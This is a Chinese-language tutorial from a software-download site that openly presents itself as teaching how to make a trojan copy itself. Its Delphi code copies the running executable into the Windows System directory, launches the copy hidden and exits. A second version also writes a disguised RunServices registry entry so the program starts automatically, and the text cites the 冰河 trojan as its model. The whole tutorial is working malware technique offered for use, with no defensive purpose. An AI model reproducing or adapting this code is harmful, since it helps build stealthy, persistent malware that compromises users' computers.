软件发布

手机版,更便捷!

下载排行榜首页软件下载安卓下载资讯教程推荐专题装机必备
当前位置:文章资讯 > 编程开发 >

Delphi实现木马自我拷贝方法分享 Delphi实现木马自我拷贝教程攻略

时间:2017-01-09 浏览次数: 编辑:9upk

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
  打开Delphi,新建一个工程,在窗口的Create事件中写代码:
  procedureTForm1.FormCreate(Sender:TObject);
  var 
    myname:string;
  begin
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  end;
  其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
  function GetWinDir:String;
  var
  Buf:array[0..MAX_PATH]ofchar;
  begin
  GetSystemDirectory(Buf,MAX_PATH);
  Result:=Buf;
  ifResult[Length(Result)]<>'\'thenResult:=Result+'\';
  end;
  如何能使程序能在windows启动时自动启动?
  为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式.
  加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
  procedureTForm1.FormCreate(Sender:TObject);
  constK='\Software\Microsoft\Windows\CurrentVersion\RunServices';
  varmyname:string;
  begin
  {WritebyLovejingtao,http://Lovejingtao.126.com,[email protected]}
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  withTRegistry.Createdo
  try
  RootKey:=HKEY_LOCAL_MACHINE;
  OpenKey(K,TRUE);
  WriteString('syspler',application.ExeName);
  finally
  free;
  end;
  end;

标签: Delphi

上一篇:怎么查找注册表里开机启动的程序?利用下一篇:JS查看本地盘符是否存在的方法是什么?

相关文章

最新评论

本类排行榜

图文专题

  • 类地下城割草手游推荐
  • 种菜小游戏
  • 单机打鱼游戏
  • 好玩的放置修仙手游